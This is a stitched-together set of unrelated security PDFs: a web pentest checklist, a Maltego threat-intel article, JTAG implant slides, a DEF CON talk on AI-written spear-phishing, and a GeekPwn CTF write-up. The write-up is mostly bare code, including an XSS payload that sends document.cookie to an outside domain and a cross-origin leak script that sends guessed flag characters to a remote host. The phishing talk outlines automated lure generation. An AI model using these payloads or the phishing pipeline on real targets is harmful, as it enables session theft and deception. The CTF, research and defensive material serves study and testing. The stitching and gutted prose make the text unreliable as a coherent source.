Other scanners available are Saint and Nexpose.
Automated Scanner Pro Tips:
•
You want to verify the settings of the automated scanner. Don't just blindly click "scan"
after entering a URL.
•
Make sure that you're not using something that's checking for Denial-of-Service (DoS)
unless specifically requested by the client.
•
Number of threads/connections at a time? Don't flood the host.
•
Add any pages/functions the client has asked you to avoid. (Password reset page, sign-up
page, "Contact" form, etc...)
•
Might need to specify a specific "Page not found" or Error 404 page to help weed out
false-positives for file discovery.
•
Configure the log-in process and credentials for authenticated scans.
•
You must take the time to verify the results and weed out any false-positives.
== Manual testing ==
•
Automated Scanner results
o Document the vulnerabilities that are legitimate. Can you take it further than the
scanner?
!
For example, if the scanner suspects SQL injection, see if you can exploit
that with something like SQLMap.
•
Explore the application through a proxy program like BurpSuite Pro.
o Manually explore the app while the "Spider" and "Content Discovery" tools are
running.
o OWASP's "DirBuster" is a brute force tool to find files and directories.
•
Review the server response to help verify what the server is running (IIS, Apache)
•
Look for parameters to fuzz
o How do they handle characters and commands outside of the normal actions?
o Parameters can be directly in the URL. They are also found in HTTP GET and
POST requests
•
Try Cross-site Scripting (XSS) payloads, Cross-site Request Forgery (CSRF),
SQL/LDAP injection, Local File Inclusion (LFI) and Remote File Inclusion (RFI)
o BurpSuite Pro has lists available that you can load for file discovery, XSS, SQLi,
usernames and more. There are also several places to download your own lists, or
make your own.
o "Xenotix" by OWASP is a XSS tester.
o Save the POST or GET request and execute with SQLMap to search for SQL
injection
•
Is sensitive info being passed through the URL in a GET request?
o Usernames, Passwords, Session ID, etc...
•
Look for valuable comments in the source code of the HTTP Responses
o I've found internal IPs, database names, usernames, "hidden" admin URLs,
database calls in JavaScript and more!
o This is certainly a manual process and is time-consuming. However, a thorough
and consistent review will pay off.
•
Authentication - can it by bypassed or broken?
o Can you access URLs and functions as an unauthenticated user that you could
while logged in?
o Can you re-use the session token after logging off? Is there a "log off" feature?
o Can you have multiple sessions as the same user at the same time?
o What are the password requirements? Can you set your password to "password"?
o Can you re-use a previous password?
•
Look at the host, not just the web app
o Identify the web server platform. Apache, IIS?
!
If it's an old/outdated install, look for exploits
o Is there an admin portals available?
!
cPanel, Apache Tomcat Manager, etc...
o Are there test and default credentials available?
o Search for backup, default and obsolete files.
o Is directory browsing enabled? What about directory rights?
o Look for dangerous HTTP methods
!
ie...PUT, DELETE, TRACE
o Are they vulnerable to directory traversal, Shellshock, Heartbleed, etc...?
o Use Nmap to see what ports/services are open to the public. Is it just 80 & 443?
Or, are their other things available too? Check them out.
o Look at SSL/TLS settings for known and weak cipher vulnerabilities and expired
or untrusted certificates.
!
Use SSLScan in Kali or "TestSSLServer.jar". Qualys SSL Labs is a good
online resource too but there could be a potential disclosure issue.
o SSL Enforcement - Can you access HTTPS areas by HTTP?
There are many different areas of a web application that need to be looked at in order to conduct a
thorough penetration assessment. Check out the methodology from OWASP as well as several
checklists that are available to ensure that you're covering all aspects.
For questions, please contact me on Twitter at @brentwdesign or email me at
[email protected] | pdf |
State of the Hack: Maltego Use Cases
Over the past several years, data has quickly gone from being sparsely collected to hoarded in mounds, locked away in
datacenters and spread across the world. Is there really a need to store so much information? That question has yet to be
answered, but with advances in modern technology, it is relatively cheap to store every byte just in case it is needed later.
Like other industries that collect data, the information security and threat intelligence industries are no exception. The
issue with large stores of data comes in making sense of it all. How does one sift through terabytes of domains, IP
addresses, malware strings, assembly code and netflows to find the one indicator driving the next attack? In this week's
State of the Hack article, iDefense will cover a process best described as visual data analytics, which is a way to visualize
data during analysis to find what data is most critical.
Problem Highlight
Security analysts often observe attacks as they are happening or shortly after they have occurred. It is up to analysts to
identify the “who” and “why” of an attack based on the indicators collected. These indicators not only range in type but
also in confidence level, as analysts collect and store some indicators based on tangential relationships. To provide the
best possible intelligence, data collected from each malicious file, attack, public database and threat feed is stored in a
single database that makes connections between the data.
At present, databases holding indicator information hold upward of billions of records. When analysts quickly assemble all
of the information about an attack and its related infrastructure, it becomes difficult to find the most meaningful data when
querying data collections this large. Assume for a moment that a query is fast and an analyst is able to obtain the results
he or she requested. Even in some cases, results come back with thousands of related indicators that may or may not be
related to the overarching incident.
Beyond collecting all the important indicators about a particular attack, analysts need to structure their results and
analysis so that users can easily follow that analyst’s conclusions. This process of creating a visual of data is both an art
and an engineering feat. An analyst must choose a medium and style that will most effectively display that data between
the plotting of important data and its relevant connections, and the space in which it is represented. For example,
representing several domains and passive IP address associations in a three-dimensional space is not going to work for a
report meant to be sent out via e-mail or printed offline. Dealing with such limitations further increases when attempting to
show highly connected data or data that is important but several layers outside the starting indicator.
Solution
One of the largest benefits of looking at visualized data is that it provides viewers with the ability to tap directly into the
mind of an analyst. Technological tools are excellent, but nothing compares to the human mind and its ability to identify
patterns within milliseconds of seeing a well-developed visual aid. It is for this reason that iDefense engineers have
chosen to use Maltego, a visualization framework capable of taking custom data feeds and turning them into well-
connected graphs, as a visual platform for doing analysis. Maltego allows a user to specify transforms, which are bits of
custom code that run locally or on a server, that can take the supplied input, frame it into a query and then return results
to the user in the form of visual connections inside a graph.
Using a visualization platform when doing analysis provides three advantages over the traditional method of taking notes.
First, a visual platform capable of processing independent data feeds is quickly able to assemble, deduplicate and show
associations among data. Second, no matter what the task, if the results of the analysis are worthwhile, an analyst will
need to convert them into some type graph for others to visualize the data. By using a visualization platform during the
analysis process, an analyst saves time, as the platform will build a visual while the analyst is conducting the research
rather than after having conducted the research. Finally, because an analyst can see the data as a visualization platform
is plotting it, he or she can quickly use his or her experience to filter or dismiss faulty results—something that could take
hours to determine without visuals.
Case Study: itsec.eicp.net Infrastructure and Malware Connections
On Feb. 21, 2013, iDefense identified a password-protected PDF document named "Mandiant_APT2_Report.pdf" that
was attempting to pass as a second iteration of Mandiant’s APT1 report released just days earlier. Upon entering this
document's associated password, the document would install known cyber espionage malware on the victim computer
observed back in November 2012.
The malicious payload used the domain “itsec.eicp.net” for command and control (C&C). eicp.net is a dynamic domain
name system (DNS) domain owned by the Shanghai Best Oray Information S&T Company (上海贝锐信息科技有限公司).
A quick look at the fully qualified domain name (FQDN) in iDefense’s passive DNS data resources shows that this domain | pdf |
NSA Playset:
JTAG Implants
Introductory Rites
●
Electrical Engineering education
with focus on CS and Infosec
●
10 years of fun with hardware
o
silicon debug
o
security research
o
pen testing of CPUs
o
security training
●
Hardware Security Training:
o
Secure RTL design
o
Low-cost physical attacks
o
“Applied Physical Attacks on
x86 Systems”
Today’s Clergy
Joe FitzPatrick
@securelyfitz
[email protected]
Today’s Clergy
●
Degrees in Electrical and
Computer Engineering
●
10+ years designing,
implementing, and testing
SoC silicon debug features
●
Hardware and firmware
pentesting
Matt King
@syncsrc
[email protected]
Introductory Rites
Introductory Rites
More toys for sale!
Sunday at
Hacker Warehouse
in the vendor area!
The Penitence of Godsurge & Fluxbabbit
Liturgy of the DWORD:
JTAG
Joint
Test
Action
Group
A reading from IEEE 1149
Remember
This?
TDI, TDO, TMS, TCK, TRST
JTAG Model
Physical Layer: Test Access Port
TDO unto others
As others TDI unto you
TAP FSM
TDI, TDO, TMS, TCK, TRST
JTAG Model
Data Link: TAP FSM
Data Link: TAP FSM
IR/DR access
TAP FSM
TDI, TDO, TMS, TCK, TRST
JTAG Model
Network Layer: IRs & DRs
Target-specific configuration
IR/DR access
TAP FSM
TDI, TDO, TMS, TCK, TRST
JTAG Model
Transport Layer: Target-Specific
That’s just MIPS.
That’s just MIPS.
X86 is different
ARM is different
Each SOC is different
That’s just MIPS.
X86 is different
ARM is different
Each SOC is different
Romans 12:2 (NIV)
Do not conform to the pattern of this world
That’s just MIPS.
X86 is different
ARM is different
Each SOC is different
Romans 12:2 (NIV) NIH
Do not conform to the pattern of this world
--- (no one uses this crap)
--- N/A - sessionless...
Target-specific configuration
IR/DR access
TAP FSM
TDI, TDO, TMS, TCK, TRST
JTAG Model
A Reading from The second email from
Joe to people with JTAG questions
Boundary Scan, Run Control, Memory
Access
---
---
Target-specific configuration
IR/DR access
TAP FSM
TDI, TDO, TMS, TCK, TRST
JTAG Model
Boundary Scan
30
image from intelletech.com, they make stuff to read flash like this
Run Control
Run Stop Control
The Debugger’s Gospel
Homily
34
1149.1 Section 8.3: Private Instructions
c) If private instructions are utilized in a component, the vendor shall clearly identify any instruction
binary codes that, if selected, would cause hazardous operation of the component.
Liturgy of the PCB
SAVIORBURST Payload
Replay of debug performed in
OpenOCD
-
Target (potentially kernel) specific
Commands are converted into a
standard format (SVF/XSVF)
!Begin Test Progr
TRST OFF;
ENDIR IDLE;
ENDDR IDLE;
HIR 8 TDI (00);
HDR 16 TDI (FFFF)
TIR 16 TDI (0000)
TDR 8 TDI (12);
SIR 8 TDI (41);
SDR 32 TDI (ABCD1
STATE DRPAUSE;
RUNTEST 100 TCK E
SOLDERPEEK Implant
Transubstantiation
https://github.com/NSAPlayset/SAVIORBURST
Transubstantiation
https://github.com/NSAPlayset/SAVIORBURST
Communion
41
Concluding Rites
Solemn Invocation
Not all devices can rely on physical security
Protecting user data requires user control over
hardware debug capabilities
Dismissal
I don't want to talk to you no more, you empty-
headed animal food trough wiper! I fart in your
general direction! Your mother was a hamster
and your father smelt of elderberries!
Q & A | pdf |
Copyright © Government Technology Agency. Not to be reproduced without permission.
Hacking Humans with AI as a Service
Eugene Lim, Glenice Tan, Tan Kee Hock, Timothy Lee
DEF CON 29
Disclaimer
Materials presented are based on research conducted.
Not to be attributed to any entity.
Copyright © Government Technology Agency. Not to be reproduced without permission.
Meet the Team
Eugene Lim
@spaceraccoonsec
AppSec and Vulnerability Research
With a dash of white hat hacking
Digital Humanities and Web Development
History and Computer Science, Yale University
2
Copyright © Government Technology Agency. Not to be reproduced without permission.
Meet the Team
Glenice Tan
Red Team and Social Engineering
Plus a focus on web security and cloud
Data Analysis and Vulnerability Research
Information Security, National University of Singapore
3
Copyright © Government Technology Agency. Not to be reproduced without permission.
4
Meet the Team
Red Team and Cyber Engineering
Loves Capture the Flag competitions
Data Security and Automation
Information Systems, Singapore Management University
Tan Kee Hock
Copyright © Government Technology Agency. Not to be reproduced without permission.
5
Meet the Team
Timothy Lee
Mobile Pentest and Red Team
Plus reverse engineering
Web Development and Cybersecurity
Computer Science, Nanyang Technological University
Copyright © Government Technology Agency. Not to be reproduced without permission.
6
Overview
Hacking Humans:
The Traditional way
The AI Market
Landscape
Conclusion
01
02
Defenses against the Dark Arts:
Protecting the Humans
Hacking Humans:
The AI way
03
04
05
Copyright © Government Technology Agency. Not to be reproduced without permission.
Hacking Humans - The Traditional Way
Social Engineering 101
7
Copyright © Government Technology Agency. Not to be reproduced without permission.
8
Social Engineering 101
●
Social Engineering refers to the psychological manipulation of people into
performing actions or divulging information.
●
Common Influencing Tactics used by social engineers:
Context-specific
factors
●
Dependent on the nature of work
●
Attacker exploits a pattern the targets are
comfortable in
Scarcity
●
Create a feeling of urgency
●
Manipulate the decision-making process
Authority
●
Claims to be from an individual or
community with a right to exercise power
- Emma J.Williams, “Exploring susceptibility to phishing in the workplace,” 2018
Copyright © Government Technology Agency. Not to be reproduced without permission.
9
Social Engineering 101
●
3 common attack vectors of Social Engineering
●
Social Engineering is an art leveraged for different purposes
Malicious actors
Red Team
exercises
Security Training
& Awareness
Email Phishing
Voice Phishing /
Vishing
In-person /
Physical
Copyright © Government Technology Agency. Not to be reproduced without permission.
10
Social Engineering 101
●
Humans are often deemed as the weakest link in the security chains.
of users fell for simulated
spear-phishing emails.
43%
- Tian Lin et. al., “Susceptibility to
Spear-Phishing Emails,” 2019
of employees clicked on
phishing email links even with a
phishing-related training
program.
19.8%
- Terranova Security, “Gone Phishing
Tournament: 2020 Phishing Benchmark
Global Report,” 2020
Copyright © Government Technology Agency. Not to be reproduced without permission.
11
Phishing Email
Copyright © Government Technology Agency. Not to be reproduced without permission.
12
Typical Red Team Operation
Copyright © Government Technology Agency. Not to be reproduced without permission.
13
OSINT
LinkedIn Profile, Twitter Profile, Blog Posts...
Open-source tools
Typical Red Team Operation
Copyright © Government Technology Agency. Not to be reproduced without permission.
14
Craft Phishing Content
Analyse and contextualise the information
Brainstorm, innovate and create pretext
Typical Red Team Operation
Copyright © Government Technology Agency. Not to be reproduced without permission.
15
Challenges in Phishing
Effort
Contextualize and
ideation
Time
Analyse results from
OSINT
Usable Phishing Pretext
Time and Effort increases
exponentially for spear phishing
with each new target
Behaviour
Analysis
Text Generation
Copyright © Government Technology Agency. Not to be reproduced without permission.
The AI Market Landscape
16
Staying trendy helps us to hack better
Copyright © Government Technology Agency. Not to be reproduced without permission.
17
AI as a Service
“AIaaS is short for artificial intelligence as a service and refers to companies that provide out-of-the-box AI solutions.”
- MonkeyLearn
Copyright © Government Technology Agency. Not to be reproduced without permission.
"communication_advice": {
"_type": [
"high calculativeness"
],
"description": [
"They think logically and value facts over
feelings.",
"They like to do things by themselves."
],
"personalized_email_subject": "<role_name> role that would move
your career graph up",
"adjectives": [
"Analytical",
"Objective Thinker",
"Quality Focused"
]
18
AIaaS for Human Resources Functions
Snipped Output from Humantic AI’s Predictive Personality Insights
Copyright © Government Technology Agency. Not to be reproduced without permission.
19
Unleashing OpenAI’s GPT-3 API
Copyright © Government Technology Agency. Not to be reproduced without permission.
20
Accessibility of OpenAI’s GPT-3 API
Resource
GPT-2
GPT-3
OpenAI’s GPT-3 API
Time
1+ weeks
355 years
<1 minute
Cost
$43k
$4.6m
$0.06/1k tokens
Data Size
40 GB
45 TB
Negligible
Compute
32 TPUv3s
1 Tesla V100 GPU
Negligible
Energy
?
?
Negligible
Released
2019
2020
2020
GPT-2 stats: Phil Tully and Lee Foster, Black Hat USA 2020
GPT-3 estimates: Chuan Li, Lambda Labs
Copyright © Government Technology Agency. Not to be reproduced without permission.
21
OpenAI’s GPT3 Models
Davinci Instruct
●
Fine tuned to plaintext
instructions
●
Built on Davinci model
Ada, Babbage,
Curie
●
Lower compute
●
Faster response
●
Less complexity
Davinci
●
Slower response
●
Higher cost
●
Most capable
Copyright © Government Technology Agency. Not to be reproduced without permission.
22
A Sneak Peak to OpenAI’s Playground
Copyright © Government Technology Agency. Not to be reproduced without permission.
23
A Primer to OpenAI’s GPT3 Capability
Copyright © Government Technology Agency. Not to be reproduced without permission.
24
A Primer to OpenAI’s GPT3 Capability
Dear John Doe,
I hope you are doing well. I am writing to you to fill you in on
some updates with regards to the company's policies.
We are always looking out for your best interests and to stay in
line with our company's goals, we have updated our attendance
policy to better suit your needs. To be able to work remotely,
you will need to fill out an online form. This form is to ensure
that you are not taking a full day off, and are still able to work.
If you are unable to access the form, please feel free to contact
me and I will happily send it to you.
I hope you can fill out the form as soon as possible to avoid any
problems in the future.
Regards,
Jane Doe
Dear John Doe,
We would like to invite you to participate in our company's
annual employee survey. The survey will help us to maintain a
clear understanding of the company's strengths and
weaknesses, and will help us to better serve our employees.
The survey is completely anonymous and will take about 10
minutes to complete.
The survey will help us to better serve our employees.
Sincerely,
Jane Doe
OpenAI’s GPT3 has a temperature parameter (“Temperature”) which controls the randomness. Lowering the parameter
will result the model becoming deterministic and repetitive. Thus, by repeatedly submitting the same set of inputs, a
different set of output will be produced.
The output above are produced from the same set of input instructions
Copyright © Government Technology Agency. Not to be reproduced without permission.
Hacking Humans - The AI Way
25
With a bit of the Dark Arts - Applying AI as a Service
Copyright © Government Technology Agency. Not to be reproduced without permission.
26
Piecing Everything Together For Phishing Delivery
Copyright © Government Technology Agency. Not to be reproduced without permission.
27
Piecing Everything Together For Phishing Delivery
Raw OSINT Data Sources
LinkedIn Profile, Twitter Profile, Blog Posts
Copyright © Government Technology Agency. Not to be reproduced without permission.
28
Piecing Everything Together For Phishing Delivery
Applying Humantics AI
"communication_advice": {
"_type": [
"high calculativeness",
"high steadiness"
],
"description": [
"They have very high attention to detail and
aim to find a perfect solution.",
"They always plan things ahead and expect
the same from others."
],
...
"what_to_say": [
"Don’t forget to mention how you compare to
competition on both features and pricing.",
"Be formal and objective, they will appreciate it
more.",
Copyright © Government Technology Agency. Not to be reproduced without permission.
29
Piecing Everything Together For Phishing Delivery
Parse To Plaintext
John Doe is located in Singapore. John Doe is working at
Company A as Security Researcher, Department X. Expect
clarity-seeking questions. Write an email to John to convince him
to join our company. Be personal and polite, what would be
expected of them. Be formal and objective, they will appreciate it
more.
Text - Redacted Text
Copyright © Government Technology Agency. Not to be reproduced without permission.
30
Piecing Everything Together For Phishing Delivery
Review Output From OpenAI’s GPT3
Dear John,
I hope this email finds you well. I am writing to you on behalf of our company,
Company B, to inquire if you are interested in exploring a career opportunity with us.
Company B is the leading company that develops and markets software, services,
and devices. We are known for our innovations in computer software, hardware, and
for providing cloud-based services that empower every person and every organization
on the planet to achieve more.
Our commitment is to help every person and every organization on the planet to
achieve more. We do this by creating the best devices and services that enable
people and businesses to do and achieve more.
...
Text - Redacted Text
Copyright © Government Technology Agency. Not to be reproduced without permission.
2 different types of experiments over a period of 3 months, with over 200 targets
across multiple authorised phishing exercises:
●
Type 1: To investigate the effectiveness of convincing targets to click on
phishing links in phishing emails
For Type 1 experiments, each target receives 2 emails (one will be generated by AI, while the other
generated manually by a red team operator).
●
Type 2: To investigate the effectiveness of convincing targets to open
“malicious” documents in phishing emails
For Type 2 experiments, the target group is divided into 2 groups. One group will receive AI generated
phishing content, while the other will receive phishing content generated manually by a red team
operator.
31
Our Experiments
Copyright © Government Technology Agency. Not to be reproduced without permission.
32
Type 1 Experiment Setup
Sample Size
Exercise
Stage
AI
Human
A
1
25
25
A
2
5
-
B
1
117
117
B
2
10
-
C
1
10
10
C
2
2
-
Stage 1: Mass Phishing
Identify targets who are
susceptible victims to
phishing
Stage 2: Spear Phishing
Attempt to harvest
credentials from the
susceptible victims
Number of targets (susceptible
victim) who clicked on the phishing
link (%)
Number of susceptible victims who
visited the phishing site only (%)
Number of susceptible victims who
visited the phishing site and
submitted data (%)
Further broken down into
Type 1: To investigate the effectiveness of convincing targets to click on phishing links in phishing emails
Copyright © Government Technology Agency. Not to be reproduced without permission.
33
Type 1 Experiment (Stage 1) Results
Copyright © Government Technology Agency. Not to be reproduced without permission.
34
Type 1 Experiment (Stage 2) Results
Phishing site
was flagged by
major browsers
Copyright © Government Technology Agency. Not to be reproduced without permission.
35
Type 2 Experiment Setup and Results
Sample Size
Exercise
Stage
AI
Human
D
1
99
99
Stage 1: Mass Phishing
Identify targets who are
susceptible victims to
phishing
Number of targets
(susceptible victim) who
open the malicious
attachment (%)
Type 2: To investigate the effectiveness of convincing targets to open “malicious” documents in phishing emails
Experiment Setup
Experiment Results
Copyright © Government Technology Agency. Not to be reproduced without permission.
1.
AIaaS based pipeline reduced time required for phishing content curation and
context analysis.
For optimisation purposes, a trained operator is still required to ensure AI generated content
remains relevant.
2.
AI generated phishing content is observed to be more convincing during our
experiment runs as compared to the human generated phishing content.
However, we cannot conclude if AI is indeed better as there are many other variables at work.
3.
There is a varying degree of governance regarding the access to AIaaS.
OpenAI was strict over the sign up, while other services simply need an email.
36
Key Observations From The Experiments
Copyright © Government Technology Agency. Not to be reproduced without permission.
Protecting the Hoomans
37
Defenses against the Dark Arts
Copyright © Government Technology Agency. Not to be reproduced without permission.
38
Detecting Synthetic Text
Synthetic text
detection
Fine-tuning
based detection
Zero-shot
detection
GLTR
GROVER
Simple
classifiers
“We expect that content-based
detection of synthetic text is a
long-term challenge… this is not high
enough accuracy for standalone
detection and needs to be paired
with metadata-based approaches,
human judgment, and public
education to be more effective.”
Irene Solaiman, Jack Clark and Miles Brundage,
“GPT-2: 1.5B Release,” 2019
Copyright © Government Technology Agency. Not to be reproduced without permission.
AI-assisted human detection
using three tests:
●
The probability of the
word given the previous
words in the sequence.
●
The absolute rank of a
word.
●
The entropy of the
predicted distribution.
Sebastian Gehrmann, Hendrik Strobelt, and
Alexander M. Rush, “GLTR: Statistical Detection
and Visualization of Generated Text,” 2019
39
Using GLTR Approach To Detect
Copyright © Government Technology Agency. Not to be reproduced without permission.
40
Building A Zero-Shot Detector That Extends GLTR
https://github.com/spaceraccoon/detecting-fake-text
●
Cannot control top K
●
No direct model access
●
Limited number of logprobs (100)
Challenges
●
Easily extensible
●
Transferrable patterns from GPT-2
●
Access to logprobs
Benefits
Copyright © Government Technology Agency. Not to be reproduced without permission.
41
Using GLTR Metrics To Distinguish Synthetic Text
Human-generated samples used words outside of the top 100
predictions:
●
7.23 times as frequently as the GPT-3 API generated
samples
●
4.57 times as frequently as the GPT-2 generated samples
●
2.88 times as frequently as the fine-tuned GPT-2 generated
samples
Copyright © Government Technology Agency. Not to be reproduced without permission.
42
Using GLTR Metrics To Distinguish Synthetic Text
AI: Greater density at low
rank/low probability
Human: Greater density at high
rank/low probability
Our research suggests that evaluating the probability for a sequence of text is a good
indicator of whether the text is synthetic or written by human.
Copyright © Government Technology Agency. Not to be reproduced without permission.
43
Using OpenAI’s GPT3 To Detect Synthetic Text
Dear John Doe,
We hope that you are well.
We have a form for you to complete in order to be a
part of Company Y. Please take a look at the
attached form. This form is done to review your
personal information and background. It is important
for us to know you better in order for us to
confidently assist us in recruiting you.
We would like you to review the attached form and fill
it up based on the information you have. We hope
that you will be able to fulfil this form and provide us
with the required information.
We look forward to hearing from you soon.
Best Regards,
John
Hi John,
Do you have a moment to fill out this form?
It's already been 3 months since your work contract
began, and I'm wondering if you're satisfied with the
work-life balance we provide. I'm sure you're just as
committed as we are to keeping our employees
happy and fulfilled.
This is a very short survey and it only takes a few
minutes to complete.
You'll find that your responses will help us
understand how we can improve your experience
with Company Y.
Kind regards,
John Doe
Hi John,
Your profile has caught our attention. Your domain
expertise in technology is someone whom my client
is looking for. As such, I would like to share an
upcoming opportunity with you.
However, before I can share any further, I will need
you to sign up this Non-Disclosure Agreement (NDA)
document attached in this email.
The upcoming opportunity which I will be sharing is
of high business sensitivity and I would appreciate if
you do not share with anyone on this matter. As this
opportunity is time critical, we do hope to hear from
you soon!
Sincerely,
John Doe
Try figuring out which piece is generated by AI
Sample A
Sample B
Sample C
Text - Redacted Text
Copyright © Government Technology Agency. Not to be reproduced without permission.
44
Using OpenAI’s GPT3 To Detect Synthetic Text
Dear John Doe,
We hope that you are well.
We have a form for you to complete in order to be a
part of Company Y. Please take a look at the
attached form. This form is done to review your
personal information and background. It is important
for us to know you better in order for us to
confidently assist us in recruiting you.
We would like you to review the attached form and fill
it up based on the information you have. We hope
that you will be able to fulfil this form and provide us
with the required information.
We look forward to hearing from you soon.
Best Regards,
John
frac(p): 0.833
Sample A
Company Y
Redacted Text
Company Y
Copyright © Government Technology Agency. Not to be reproduced without permission.
Hi John,
Do you have a moment to fill out this form?
It's already been 3 months since your work contract
began, and I'm wondering if you're satisfied with the
work-life balance we provide. I'm sure you're just as
committed as we are to keeping our employees
happy and fulfilled.
This is a very short survey and it only takes a few
minutes to complete.
You'll find that your responses will help us
understand how we can improve your experience
with Company Y.
Kind regards,
John Doe
45
Using OpenAI’s GPT3 To Detect Synthetic Text
frac(p): 0.884
Sample B
Redacted Text
Company Y
Company Y
Copyright © Government Technology Agency. Not to be reproduced without permission.
46
Using OpenAI’s GPT3 To Detect Synthetic Text
frac(p): 0.554
Sample C
Hi John,
Your profile has caught our attention. Your domain
expertise in technology is someone whom my client
is looking for. As such, I would like to share an
upcoming opportunity with you.
However, before I can share any further, I will need
you to sign up this Non-Disclosure Agreement (NDA)
document attached in this email.
The upcoming opportunity which I will be sharing is
of high business sensitivity and I would appreciate if
you do not share with anyone on this matter. As this
opportunity is time critical, we do hope to hear from
you soon!
Sincerely,
John Doe
Copyright © Government Technology Agency. Not to be reproduced without permission.
47
Fighting Abuses with Governance
●
Adopt “human in the loop” approach for
AI-augmented decision-making
●
Ensure traceability and auditability of
use
●
Enforce acceptable use policies
Everyone
●
Use Implementation and Self-Assessment Guide for Organizations
●
Policy for explanation and practice general disclosure of use
●
Ethical evaluation
●
Implement clear roles and responsibilities for the ethical deployment of AI
Consumers
Suppliers
Personal Data Protection Commission, “Model AI Governance Framework,” 2020
Key applicable recommendations from Singapore’s Model AI Governance Framework
Copyright © Government Technology Agency. Not to be reproduced without permission.
Conclusion
48
Our Parting Words
Copyright © Government Technology Agency. Not to be reproduced without permission.
1.
The rapid growth of AIaaS has placed advanced, cost-effective AI text
generation capabilities in the hands of the global market.
These capabilities can be used to deliver both authorised and malicious phishing campaigns.
2.
While automated tools can be used to build defenses against AI-generated
text, current approaches are brittle and model-dependent.
AI-assisted human detection of AI-generated text could be more effective.
3.
Decision makers have the responsibility to implement sound strategies
governing the supply and consumption of advanced AIaaS.
Tightening the usage of advanced AIaaS can potentially reduce the likelihood of abuse.
49
Key Takeaways
Copyright © Government Technology Agency. Not to be reproduced without permission.
THANK YOU
For any enquiries, please contact:
www.tech.gov.sg
@GovTechSG
Facebook.com/GovTechSG | pdf |
GeekPwn CTF WP
AuthorNu1L Team
GeekPwn CTF WP
WEB
noXSS 2020
rtmpdump
cosplay!
umsg
Re
easyydre
Androidcmd
babyre
Pwn
BabyPwn
PlayTheNew
EasyShell
ChildShell
WEB
noXSS 2020
....
Cross Origin Opener Policy
<!DOCTYPE html>
<html lang="en">
<head>
<script>
function cb(win,c) {
if(win.frames.length == 0) {
location.href = ('<http://geekpwn.d7cb7b72.n0p.co/'+c>);
}
win.close()
}
function test(c) {
url = "<http://noxss2020.cal1.cn:3000/?keyword=flag>{e6bd066f-d918-
496c-b3d2-ccd972d7a5a2"+c;
console.log(url);
win = window.open(url);
rtmpdump
0daycrontab
cosplay!
setTimeout(cb.bind(null,win,c), 5000);
}
var charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a',
'b', 'c', 'd', 'e', 'f', 'A', 'B', 'C', 'D', 'E', 'F', '-', '}']
for(var i=0; i<charset.length;i++) {
test(charset[i]);
}
</script>
</head>
<body>
</body>
</html>
var Bucket = '933kpwn-1253882285';
var Region = 'ap-shanghai';
var cos = new COS({
getAuthorization: function (options, callback) {
var url = '/GetTempKey?path=/upload';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function (e) {
try {
var data = JSON.parse(e.target.responseText);
var credentials = data.Credentials;
} catch (e) {
}
if (!data || !credentials) return console.error('credentials
invalid');
callback({
TmpSecretId: credentials.TmpSecretId,
TmpSecretKey: credentials.TmpSecretKey,
XCosSecurityToken: credentials.Token,
ExpiredTime: data.ExpiredTime,
});
};
listObjectVersions Bucket f1L9@/flag.txt
VersionId getObject
umsg
js
xhr.send();
}
});
document.getElementById('file-selector').onchange = function () {
var file = this.files[0];
if (!file) return;
cos.putObject({
Bucket: Bucket,
Region: Region,
Key: '/upload/' + file.name,
Body: file,
}, function (err, data) {
console.log(err, data);
});
};
cos.listObjectVersions({Bucket: Bucket, Region: Region}, function (err, data)
{
console.log(err || data);
});
cos.getObject({Bucket: Bucket, Region: Region, Key: 'f1L9@/flag.txt',
VersionId: 'MTg0NDUxNDk2MzgxNjA2ODMyNTU'}, function (err, data) {
console.log(err || data);
});
originmatch, iframe, iframe, html,
http://umsg.iffi.top.xxx.xxxmatch
Re
easyydre
Encryption1(looks like a stream cipher):
key = [0xd4,0xd4,0x27,0x8c,0xbd,0x42,0x4d,0x64,0x60,0x44,0xac,0x6d,0x9b,0x64,0x9b,0xd3]
dst = [0xf3, 0xb8, 0xc6, 0x6b, 0x11, 0x47, 0x3e, 0xa2, 0xe5, 0xd3, 0x43, 0x1d, 0x24, 0x42, 0xab,
0x4b, 0x15, 0x19, 0x2d, 0xcf, 0x1, 0xef, 0x7a, 0x40, 0x5b, 0x86, 0xd0, 0x88, 0xe0, 0x7, 0x8f, 0x57]
[:16]
Key dump boxes / subkeys
flag part1(16bytes): aac1b72f-6846-40
Encryption2:
mpz 7 dword 20 bytes
20 bytes 7 dword
patch 16 bytes pad 36
bytes dump 7 dword mangshengfaxianhuadian dump
<html>
<body>
<iframe src="http://umsg.iffi.top:3000/" id="la"></iframe>
</body>
<script>
function test() {
window.frames[0].postMessage({action: 'append', payload: '<img src=x
onerror="location.href=\'http://d7cb7b72.n0p.co/\'+document.cookie" />'},
"http://umsg.iffi.top:3000/")
};
setTimeout("test()",1000);
</script>
</html>
from z3 import *
def ror(d, n):
return ((d >> n) | (d << (32-n))) % 0x100000000
def rol(d, n):
return ((d << n) | (d >> (32-n))) % 0x100000000
def bytearray2intarray(arr):
assert len(arr) % 4 == 0
result = []
for i in range(len(arr)//4):
tmp = arr[4*i] + arr[4*i+1]*0x100 + \\
arr[4*i+2]*0x10000 + arr[4*i+3]*0x1000000
result.append(tmp)
return result
def int2bytearray(num):
result = []
for i in range(4):
result.append((num >> (i * 8)) & 0xff)
return result
def z3_solve(m_new, v16, v14, v15):
s = Solver()
m0 = BitVec('m0', 32)
cal = m0 ^ ror(v16 | v14 | v15, 14) ^ rol(v16 | v14 | v15, 10) ^ rol(
v16 | v14 | v15, 2) ^ (v16 | v14 | v15) ^ ror(v16 | v14 | v15, 8)
# print(cal)
s.add(cal == m_new)
assert s.check() == sat
return s.model()[m0].as_long()
def main():
with open('./processed_key', 'rb') as f:
processed_key = bytearray2intarray(f.read()[:32*4])
with open('./dumped_boxes', 'rb') as f:
dumped_boxes = f.read()
box4 = bytearray2intarray(dumped_boxes[0:256*4])
box3 = bytearray2intarray(dumped_boxes[256*4:(256*2)*4])
box2 = bytearray2intarray(dumped_boxes[(256*2)*4:(256*3)*4])
box1 = bytearray2intarray(dumped_boxes[(256*3)*4:(256*4)*4])
dst = [0xf3, 0xb8, 0xc6, 0x6b, 0x11, 0x47, 0x3e, 0xa2, 0xe5, 0xd3, 0x43,
0x1d, 0x24, 0x42, 0xab,
0x4b, 0x15, 0x19, 0x2d, 0xcf, 0x1, 0xef, 0x7a, 0x40, 0x5b, 0x86,
0xd0, 0x88, 0xe0, 0x7, 0x8f, 0x57, 0x72, 0xa2, 0x09, 0x48]
